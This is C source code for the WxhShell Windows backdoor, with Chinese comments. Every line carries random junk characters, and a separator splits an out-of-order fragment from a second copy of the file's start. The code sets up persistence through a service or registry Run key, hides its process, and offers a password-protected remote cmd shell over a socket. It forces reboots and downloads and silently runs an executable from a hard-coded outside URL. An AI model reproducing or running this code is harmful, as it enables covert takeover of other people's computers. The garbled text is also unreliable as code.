    if(Boot(SHUTDOWN)) >]C;sP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -! ;vX @  
    else { PO)5L  
    closesocket(wsh); `yuD/-j  
    ExitThread(0); F<IqKgGzH  
    } ]V.9jlXF  
    break; xW"J@OiKL  
    } nR"k %$  
  // 获取shell z:< (b   
  case 's': { O@E&lP6  
    CmdShell(wsh); O]{H2&k@  
    closesocket(wsh); hih`:y  
    ExitThread(0); pR\etXeLd  
    break; \I'A:~b)L  
  } WYaDN:kZf  
  // 退出 Y>%A*|U%  
  case 'x': { *bv Iqa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =WDf [?ED  
    CloseIt(wsh); \dufKeiS&a  
    break; 8|7Tk[X1j  
    } 6{+~B2Ef  
  // 离开 =797;|B H  
  case 'q': {  -U*XA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y)(SS8JR  
    closesocket(wsh); A9tQb:  
    WSACleanup(); \N"K^kR4  
    exit(1); rt~X (S  
    break; pF"z)E|^  
        } by8d18:it  
  } xYwbbFGrG  
  } U35}0NT _  
wu 3uu1J  
  // 提示信息 V TEyqo2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,LzS"lmmo  
} |h6 @hB\  
  } Zjo9c{\  
Jw {:1  
  return; @ZX{q~g!  
} VK`b'U &l"  
U*a!Gn7l  
// shell模块句柄 xsAF<:S\  
int CmdShell(SOCKET sock) qRB%G<H  
{ -,4_ &V  
STARTUPINFO si; *r9I 1W  
ZeroMemory(&si,sizeof(si)); \nxt\KD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <T0-m?D_$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %o{vD&7\  
PROCESS_INFORMATION ProcessInfo; \ 2".Kb@=  
char cmdline[]="cmd"; (iWNvVGS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W:EXL@  
  return 0; gB~SCl54  
} OpH9sBnA  
W%1fm/ G0  
// 自身启动模式 d,D)>Y'h  
int StartFromService(void) Wg}#{[4  
{ eMh:T@SN  
typedef struct cwpDad[Kx  
{ 5~.\rcr%  
  DWORD ExitStatus; *]Vx=7 D  
  DWORD PebBaseAddress; ^i:%;oeG  
  DWORD AffinityMask; 9sT?"(=  
  DWORD BasePriority; Wa[~)A  
  ULONG UniqueProcessId; SXod r}  
  ULONG InheritedFromUniqueProcessId; +9h6{&yr1  
}   PROCESS_BASIC_INFORMATION; i [j`'.fj  
GXHk{G@TS  
PROCNTQSIP NtQueryInformationProcess; &Rn/ c}[{  
I [e7Up  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MGmtA(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c~C :"g.y  
P, S9gG9  
  HANDLE             hProcess; 4AF" +L  
  PROCESS_BASIC_INFORMATION pbi; f-{[ushj  
IndNR:"g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EO| kiC   
  if(NULL == hInst ) return 0; `_v-Y`Z  
S?8q.59  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cAktSoF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^kXDEKm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y*7ht{B  
:fj}J)9'xW  
  if (!NtQueryInformationProcess) return 0; ; 9'*w=V  
&Vonu*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {b#c0>.8-  
  if(!hProcess) return 0; 8^4X/n  
::M/s#-@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zBjqYqZ<+  
o[cKh7&+  
  CloseHandle(hProcess); M#|TQa N  
@pG\5Jnf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \8t g7Sdq  
if(hProcess==NULL) return 0; qC3 rHT]  
-<s?`Rnk  
HMODULE hMod; T`WFY  
char procName[255]; q_ 5xsTlTR  
unsigned long cbNeeded; IGB>8$7  
!HB,{+25  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~F' $p  
\!YPht  
  CloseHandle(hProcess); nFB;!r  
-D(Ubk Pw  
if(strstr(procName,"services")) return 1; // 以服务启动 ;^ /9sLW?#  
x]{h$yI  
  return 0; // 注册表启动 1C|j<w=i  
} v4ueFEY  
liU=5 BL  
// 主模块 MRJdQCBV  
int StartWxhshell(LPSTR lpCmdLine)  vb70~k  
{ H}}t )H  
  SOCKET wsl; #Xn#e  
BOOL val=TRUE; x?j&Jn_@w  
  int port=0; eg,S(;VEt  
  struct sockaddr_in door; l YZHM,"  
".@SQgyb0  
  if(wscfg.ws_autoins) Install(); g`&pQ%|=  
:V_$?S  
port=atoi(lpCmdLine); c9'#G>&h~^  
/Fv1Z=:r  
if(port<=0) port=wscfg.ws_port; zBoU;d%p>  
}~ +  
  WSADATA data; JT:9"lmJz,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Az)P&*2:'`  
;N/c5+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YobIbpo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5jsnE )  
  door.sin_family = AF_INET; Gu%`__   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =ecv;uu2  
  door.sin_port = htons(port); _zpn+XVdQ  
IC{>q3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I|`K;a  
closesocket(wsl); [6-l6W  
return 1; AX1\L |tJS  
} ->j9(76"  
Lv_6Mf(  
  if(listen(wsl,2) == INVALID_SOCKET) { 8XY4  
closesocket(wsl); Q% dpGI  
return 1; RL&*.r&  
} KlrKGmy,)  
  Wxhshell(wsl); N.&K"J  
  WSACleanup(); w1GCjD*y  
qrdA?V V  
return 0; o?%x!m>  
xpS#l"dr  
} c/hml4  
P!vBS "S  
// 以NT服务方式启动 ZRX>SyM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) opIcSm&  
{ 6}|vfw  
DWORD   status = 0; 7C 4Njei"  
  DWORD   specificError = 0xfffffff; Np=*B_ @8  
U5"F1CaW~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @lmke>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nTHP~]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NuP@eeF>,  
  serviceStatus.dwWin32ExitCode     = 0; y'+^ ME$H  
  serviceStatus.dwServiceSpecificExitCode = 0; jf%Ydr}`  
  serviceStatus.dwCheckPoint       = 0; k5ZwGJ#r  
  serviceStatus.dwWaitHint       = 0; =W4cWG?+  
d[S!e`,iD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,:v}gS?Uq  
  if (hServiceStatusHandle==0) return; dyx 4_!fO  
Q \{\u J x  
status = GetLastError(); =T\pq8  
  if (status!=NO_ERROR) ^|x{E20  
{ bqe;) A7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lLg23k{'  
    serviceStatus.dwCheckPoint       = 0; yV]-![`D  
    serviceStatus.dwWaitHint       = 0; 2.NzB7c*CM  
    serviceStatus.dwWin32ExitCode     = status; v\HGL56T  
    serviceStatus.dwServiceSpecificExitCode = specificError; a1}W2;W0]g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *3k~%RM%?  
    return; 4,aBNuxWd  
  } .Ftml'!  
A] F K\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2dq{n.cgs  
  serviceStatus.dwCheckPoint       = 0; d+IPa<N  
  serviceStatus.dwWaitHint       = 0; l s_i)X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aI\VqOt]  
} -I|yi'  
tb=(L  
// 处理NT服务事件,比如:启动、停止 <<`."RY#0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KS| $_-7 u  
{ Y0b.utR&  
switch(fdwControl) <e=0J8V8,i  
{ wWm#[f],?  
case SERVICE_CONTROL_STOP: vx ,yz+yP  
  serviceStatus.dwWin32ExitCode = 0; $]T7Iwk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |fJ,+)_(  
  serviceStatus.dwCheckPoint   = 0; ?(|!VLu  
  serviceStatus.dwWaitHint     = 0; z^oi15D|{  
  { AX&1-U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \(z)]D  
  } t4<#k=  
  return; QHQj6]  
case SERVICE_CONTROL_PAUSE: % ,X(GwX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %\^x3wP&o\  
  break; Y Jv{Z^;M  
case SERVICE_CONTROL_CONTINUE: I%(+tJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3oIoQj+D  
  break; B02~/9*Y"  
case SERVICE_CONTROL_INTERROGATE: )V>FU=  
  break; r|#4+'  
}; o2.! G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MdyH/.Te  
} :,7VqCh3@  
K E^_09  
// 标准应用程序主函数 I|PiZ1]2 Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bWyXDsr+  
{ :*8@Mj Z4  
xL!05du  
// 获取操作系统版本 HN3 yA1<[V  
OsIsNt=GetOsVer(); NH?s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :Ert57@l  
~f@;.  
  // 从命令行安装 ']dTW#i  
  if(strpbrk(lpCmdLine,"iI")) Install(); )Q\;N C=4  
rLVAI#ci=  
  // 下载执行文件 0p#36czqy  
if(wscfg.ws_downexe) { J:Qp(s-N^:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S1=c_!q%9  
  WinExec(wscfg.ws_filenam,SW_HIDE); r|P4|_No  
}  dxU[>m;  
l p? h~  
if(!OsIsNt) { I,#U _  
// 如果时win9x,隐藏进程并且设置为注册表启动 \"lzmxe0p  
HideProc(); Z c"]Cv(  
StartWxhshell(lpCmdLine); 7_{x '#7  
} 7.=u:PK7kM  
else ZNx{7]=a  
  if(StartFromService()) Na`qAj}  
  // 以服务方式启动 R<wb8iir  
  StartServiceCtrlDispatcher(DispatchTable); 57oY]NT?  
else a$KM q>  
  // 普通方式启动 0J_x*k6  
  StartWxhshell(lpCmdLine); VVf~ULZ-  
g$:2c7uL  
return 0; k!%HcU%J  
} xWlB!r<}Gz  
]]]7"a  
-x RsYYw  
UIyOn` d"  
=========================================== |M0TG  
c#rbyx?5  
7IvCMb&%R  
yRy9*r=  
In 1.R$O  
~fgv7=(!  
" L%BWrmg  
GY4yZa  
#include <stdio.h> e;gf??8}  
#include <string.h> P(Lwpa,S  
#include <windows.h> {jv1hKTa  
#include <winsock2.h> !"1bV [^  
#include <winsvc.h> rKjQEO$yi  
#include <urlmon.h> ;DGWUK.U[H  
!Q?4sAB  
#pragma comment (lib, "Ws2_32.lib") R `'@$"  
#pragma comment (lib, "urlmon.lib") <fyv^e  
7'<4'BGzl]  
#define MAX_USER   100 // 最大客户端连接数 [s2%t"H-y  
#define BUF_SOCK   200 // sock buffer '-*r&:  
#define KEY_BUFF   255 // 输入 buffer Dg]i};  
KYeA=  
#define REBOOT     0   // 重启 A 7sej  
#define SHUTDOWN   1   // 关机 E dU3k'z$  
6Qo6 T][  
#define DEF_PORT   5000 // 监听端口 iff U}ce  
E O}(MXS  
#define REG_LEN     16   // 注册表键长度 l@GpVdrv  
#define SVC_LEN     80   // NT服务名长度 q6,xsO,+  
qItI):9U  
// 从dll定义API %tu{`PN<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w%$n)7<*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;1y\!f3#V~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z,NHH):~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wbpxJtJB  
tC&y3!k2jR  
// wxhshell配置信息 wUSWB{y  
struct WSCFG { } M1<a4~  
  int ws_port;         // 监听端口 Q/+a{m0 f  
  char ws_passstr[REG_LEN]; // 口令 x r=f9?%R  
  int ws_autoins;       // 安装标记, 1=yes 0=no *]EcjK%  
  char ws_regname[REG_LEN]; // 注册表键名 ROfmAc  
  char ws_svcname[REG_LEN]; // 服务名 .Kv@p jOr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O}%=c\Pb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <Q8bn?Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _}\&;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no : Z.mM5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L Y M`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qa Q  
n|F`6.G  
}; .3Ap+V8?  
kBT cN D|  
// default Wxhshell configuration j9qN!.~mM  
struct WSCFG wscfg={DEF_PORT, b/G0EcRw+  
    "xuhuanlingzhe", s}A]lY  
    1, ]~oM'?&!  
    "Wxhshell", `W/6xm(X5;  
    "Wxhshell", wgufk {:  
            "WxhShell Service", y_nh~&  
    "Wrsky Windows CmdShell Service", 7X.1QSuE  
    "Please Input Your Password: ", ar{e<&Bny  
  1, >Te{a*`"m:  
  "http://www.wrsky.com/wxhshell.exe", %?g]{  
  "Wxhshell.exe" {7;T Q?/  
    }; :DZiDJ@  
6?Wsg`9  
// 消息定义模块 fY `A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6v1j*'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FX'W%_f,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m760K*:i\  
char *msg_ws_ext="\n\rExit."; T&h|sa(   
char *msg_ws_end="\n\rQuit."; 'R$~U?i8  
char *msg_ws_boot="\n\rReboot..."; 0q3 :"X  
char *msg_ws_poff="\n\rShutdown..."; <9Chkb|B  
char *msg_ws_down="\n\rSave to ";  Ne4A  
,rN7X<s54  
char *msg_ws_err="\n\rErr!"; >s>5k O  
char *msg_ws_ok="\n\rOK!"; d p?uq'  
]f\rB8k|&  
char ExeFile[MAX_PATH]; o 1b#q/  
int nUser = 0; 8=e \^Q+  
HANDLE handles[MAX_USER]; b!N`@m=  
int OsIsNt; 6yR7RF}  
JAn3  
SERVICE_STATUS       serviceStatus; i44`$ps  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6ZM<M7(V  
Z]6D0b  
// 函数声明 Rbl(oj#  
int Install(void); ~jPe9  
int Uninstall(void); ,5/gNg  
int DownloadFile(char *sURL, SOCKET wsh); FYi<+]HZ  
int Boot(int flag); b1^MX).vH  
void HideProc(void); F |GWYw'%  
int GetOsVer(void); =l\D7s  
int Wxhshell(SOCKET wsl); ;m\(fW*ii  
void TalkWithClient(void *cs); _7;#0B  
int CmdShell(SOCKET sock); oo qNPLa  
int StartFromService(void); BvYJ!Vj  
int StartWxhshell(LPSTR lpCmdLine); d9^h YS{  
8<o(z'&y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e5AiIVlv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r9QNE>UG  
7<) .luV  
// 数据结构和表定义 .z9JoQ  
SERVICE_TABLE_ENTRY DispatchTable[] = 2qEy"DKu  
{  R` N-^x  
{wscfg.ws_svcname, NTServiceMain}, 'Kq%t M26!  
{NULL, NULL} a]Lr<i8#%  
}; ~+1t 17  
A/o=a#  
// 自我安装 UrtN3icph  
int Install(void) {>~|xW  
{ d6Z;\f7[  
  char svExeFile[MAX_PATH]; ^ sz4rk  
  HKEY key; 9iv!+(ni  
  strcpy(svExeFile,ExeFile); :0]KIybt  
t n}9(Oa)  
// 如果是win9x系统,修改注册表设为自启动 F &uU ,);  
if(!OsIsNt) { m7d? SU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X09& S4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =XqmFr;h  
  RegCloseKey(key); qEywExdiu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l.&6|   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {>syZZ,h  
  RegCloseKey(key); UGAP$_j ]P  
  return 0; X${k  
    } **oN/5  
  } +H+OYQ>^  
} T[c ;},  
else { V RT| OUq  
0(64}T)  
// 如果是NT以上系统,安装为系统服务 -l^u1z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &t`l,]PQ=6  
if (schSCManager!=0) }2G'3msx  
{ A?Uyj  
  SC_HANDLE schService = CreateService @ UX'(W  
  ( _O)~<Sk-*z  
  schSCManager, c!j$ -Ovm  
  wscfg.ws_svcname, rry 33  
  wscfg.ws_svcdisp, CGPPo;RjK  
  SERVICE_ALL_ACCESS, EdLbVrN,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1_f(;WOg  
  SERVICE_AUTO_START, J](AJkGzK  
  SERVICE_ERROR_NORMAL,   Lxs  
  svExeFile, s )\%%CM  
  NULL, 4y:yFTp  
  NULL, {}~7Gi!  
  NULL, Q.@9"&)t  
  NULL, pm@Mlwg`1  
  NULL >]s|'HTxF  
  ); 8-+Ce;h  
  if (schService!=0) &KmV tj  
  { xZwG@+U=X  
  CloseServiceHandle(schService); 0p)#!$  
  CloseServiceHandle(schSCManager); ~#C7G\R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]oUvC  
  strcat(svExeFile,wscfg.ws_svcname);  $TGE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 59 R;n.Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /0A9d-Qd<  
  RegCloseKey(key); C|*U)#3:F  
  return 0; fp^{612O?  
    } eVGO6 2|!  
  } Zi/ tax9C  
  CloseServiceHandle(schSCManager); oSq?. *w<  
} *eK\W00  
} H,u{zU')  
98'/yZ  
return 1; C-u'Me)H  
} > mk>VM  
>pdWR1ox  
// 自我卸载 qQ6rF nA  
int Uninstall(void) 42]hX9E  
{ jlXzfD T  
  HKEY key; D`d*bNR  
Vq-W|<7C=  
if(!OsIsNt) { 2@~.FBby7@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PDQEI55  
  RegDeleteValue(key,wscfg.ws_regname); [J{\Ke0<e1  
  RegCloseKey(key); xP/?E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( f]@lNmx  
  RegDeleteValue(key,wscfg.ws_regname); 0gTv:1F /  
  RegCloseKey(key); wr5ScsNS  
  return 0; ,=>Ws:j  
  } e%[0 NVo  
} >f$N G  
} . ,h>2;f  
else { w}|XSJ!  
vG'6?%38  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); # RoJD:9  
if (schSCManager!=0) WoV"&9y  
{ #ME!G/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {'#1do}{  
  if (schService!=0) c!0u,6  
  { A4uKE"WE  
  if(DeleteService(schService)!=0) { S@Iza9\|@  
  CloseServiceHandle(schService); %plu]^Vy  
  CloseServiceHandle(schSCManager); Nwwn #+  
  return 0; IN8G4\r  
  } pl }nb Y  
  CloseServiceHandle(schService); z( \4{Y  
  } 6.Jvqn  
  CloseServiceHandle(schSCManager); r=Tz++!  
} ;NMv>1fI  
} =cR"_Z[8X  
y#T.w0*  
return 1; #Z. QMWq  
} ~U r  
k=W~ot &  
// 从指定url下载文件 '@/1e\-y  
int DownloadFile(char *sURL, SOCKET wsh) efr9  
{ n1U!od  
  HRESULT hr; LD*XNcE  
char seps[]= "/"; ;~-ZN?8   
char *token; m#Ydq(0+  
char *file; ,&~-Sq) ~  
char myURL[MAX_PATH]; kzk8b?rOA  
char myFILE[MAX_PATH]; skm~~JM^  
:5sjF:@  
strcpy(myURL,sURL); b/{$#[oP`  
  token=strtok(myURL,seps); 1Q_Q-Z  
  while(token!=NULL) < z#.J]  
  { Sse%~:FL  
    file=token; ?edf$-"z/  
  token=strtok(NULL,seps); %4wEAi$I  
  } ZO!h!2*  
,\?s=D{  
GetCurrentDirectory(MAX_PATH,myFILE); Y\Z6u)  
strcat(myFILE, "\\"); ppo.#p0w  
strcat(myFILE, file); s3Wjhw/  
  send(wsh,myFILE,strlen(myFILE),0); 9Af nMD  
send(wsh,"...",3,0); Yy~xNj5OS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =xQPg0g  
  if(hr==S_OK) \gu8 ~zK  
return 0; 2TG2<wqvE  
else k8\ KCKql  
return 1; 1s~rWnhVv  
4{Q$^wD+.  
} 7H*,HZc@=  
1`1jSx5}.  
// 系统电源模块 qnHjwMi  
int Boot(int flag) w/ ^_w5  
{ @~Ys*]4UE  
  HANDLE hToken; ,PoG=W  
  TOKEN_PRIVILEGES tkp; ,SPgop'  
!?R#e`}  
  if(OsIsNt) { s2( 7z9jR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 15VvZ![$V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UD8e,/  
    tkp.PrivilegeCount = 1; 2}7_Y6RS*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w:9`R<L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EXF]y}n  
if(flag==REBOOT) { \03<dUA6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JB%_&gX)v  
  return 0; r;)31Tg  
} [NJ2rQ/w7  
else { -[J4nN&N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nGwon8&]]  
  return 0; :Jf</uP_  
} C~ A`h=A<  
  } 2D:,(  
  else { ,;hpqu|  
if(flag==REBOOT) { S,C c0)j>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ; w+  
  return 0; }A]e C  
} GLESngAl  
else { F Z RnIg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <7>1Z 82)  
  return 0;  zR'EQ  
} q.<)0nk  
} YM#MfL#  
tBfmjxv  
return 1;  3s| :7  
} gvc/Z <Y  
%~k>$(u6  
// win9x进程隐藏模块 Aqmw#X  
void HideProc(void) 94et ]u%7  
{ hr&&b3W3p  
@%*2\8}C!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?% 8%1d  
  if ( hKernel != NULL ) ,C"6@/:l  
  { !q,7@W3i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8X.= 6M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [&4+ <Nl'  
    FreeLibrary(hKernel); XkkzY5rxOc  
  } rM,f7hm[S*  
uYWgNNxdmo  
return; U^|T{g+O  
} ]T|$nwQ  
T@{ab1KV  
// 获取操作系统版本 U?Dr0wD;[  
int GetOsVer(void) 6it [i@*"  
{ %7 yQ0'P  
  OSVERSIONINFO winfo; hu} vYA7ZH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aem gGw<  
  GetVersionEx(&winfo); N>YSXh`W`y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uF|_6~g  
  return 1; n{<}<SVY  
  else Nu?A>Q  
  return 0; [ dVBsi  
} X<.l(9$  
|a"]@W$>  
// 客户端句柄模块 @VW1^{.do^  
int Wxhshell(SOCKET wsl) gED|2%BXb  
{ eR>8V8@  
  SOCKET wsh; MZX)znO  
  struct sockaddr_in client; .%7Le|Fb"  
  DWORD myID; ; U7P{e05  
B+~ /-3  
  while(nUser<MAX_USER) Xe_djy'8  
{ sRZ<c  
  int nSize=sizeof(client); T(Q ~b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lb}RPvQE  
  if(wsh==INVALID_SOCKET) return 1; svDnw cl  
hKN ;tq,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S'qT+pP  
if(handles[nUser]==0) wMN{9Ce3j  
  closesocket(wsh); ps:`rVQ7  
else _*?qOmf=  
  nUser++; cf$ hIB)Oi  
  } T:'JA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BF2U$-k4  
;b=diZE  
  return 0; @$^4Av-  
} )P b$  
"5k 6FV  
// 关闭 socket J;>~PXB  
void CloseIt(SOCKET wsh) <_t]?XHB[  
{ 0\Jeyb2dl  
closesocket(wsh); |;~2y>E  
nUser--; Ck !"MK4  
ExitThread(0); |hi,]D^Kc  
} R\&z3<-S  
@w.DN)GPo  
// 客户端请求句柄 -hm/lxyU  
void TalkWithClient(void *cs) -(WRhBpw  
{ MK/8<i<.  
L-}Uj^yF  
  SOCKET wsh=(SOCKET)cs; ;T0X7MNx  
  char pwd[SVC_LEN]; `i(b%$|^&Z  
  char cmd[KEY_BUFF]; tw<Oy^ i  
char chr[1]; 1Dhe! n#  
int i,j; Zazs".  
Ag+B*   
  while (nUser < MAX_USER) { ^{=UKf{  
/{[<J<(8  
if(wscfg.ws_passstr) { /*BU5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l1<=3+d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); { ?jXPf  
  //ZeroMemory(pwd,KEY_BUFF); CP2wg .  
      i=0; LprGsqr:  
  while(i<SVC_LEN) { ]9w8[T:O  
6XZjZ*)W  
  // 设置超时 N3\RXXY  
  fd_set FdRead; 3o>JJJ=]  
  struct timeval TimeOut; 1twpOZ>  
  FD_ZERO(&FdRead); d(^HO~p  
  FD_SET(wsh,&FdRead); ^J hs/HV  
  TimeOut.tv_sec=8; &v;fK$=2C  
  TimeOut.tv_usec=0; dwUDhQt3Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JM/\n 4ea:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O9?.J,,mVh  
OS<GAA0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Gzs+6A8  
  pwd=chr[0];  03zt^<  
  if(chr[0]==0xd || chr[0]==0xa) { 4<PupJ  
  pwd=0; j8 2w 3  
  break; W,yLGz\  
  } NhNd+SCZ@  
  i++; mP6}$ D  
    } ZDp^k{AN9a  
< -W 8  
  // 如果是非法用户,关闭 socket SKNHLE}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k}nGgd6XD  
} 9__Q-J  
<{;'0> ToM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *3={s"a.(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }TZM@{;  
:XAyMK7   
while(1) { >vXJ9\  
h/:LC 7  
  ZeroMemory(cmd,KEY_BUFF); T@P~A)>yo  
:a2[d1  
      // 自动支持客户端 telnet标准   u0k'Jh]K  
  j=0; XHKLl?-  
  while(j<KEY_BUFF) { >)*d/^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Z#h?:  
  cmd[j]=chr[0]; a[j]fv*6  
  if(chr[0]==0xa || chr[0]==0xd) { baTd;`Pn  
  cmd[j]=0; kRwY#  
  break; Uy|!f]"?  
  } ARnq~E@1  
  j++; NPO!J^^  
    } *w ^!\  
0(u}z  
  // 下载文件 o2$A2L9P  
  if(strstr(cmd,"http://")) { wi.E$R ckD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W]bytsl  
  if(DownloadFile(cmd,wsh)) VFnxj52<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $K\e Pfk  
  else p^w)@^f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,+v(?5[6  
  } lF46W  
  else { vg X7B4  
Mkt_pr  
    switch(cmd[0]) { A4d3hF~l`  
  YaQ5Z-c  
  // 帮助 b"td]H3h  
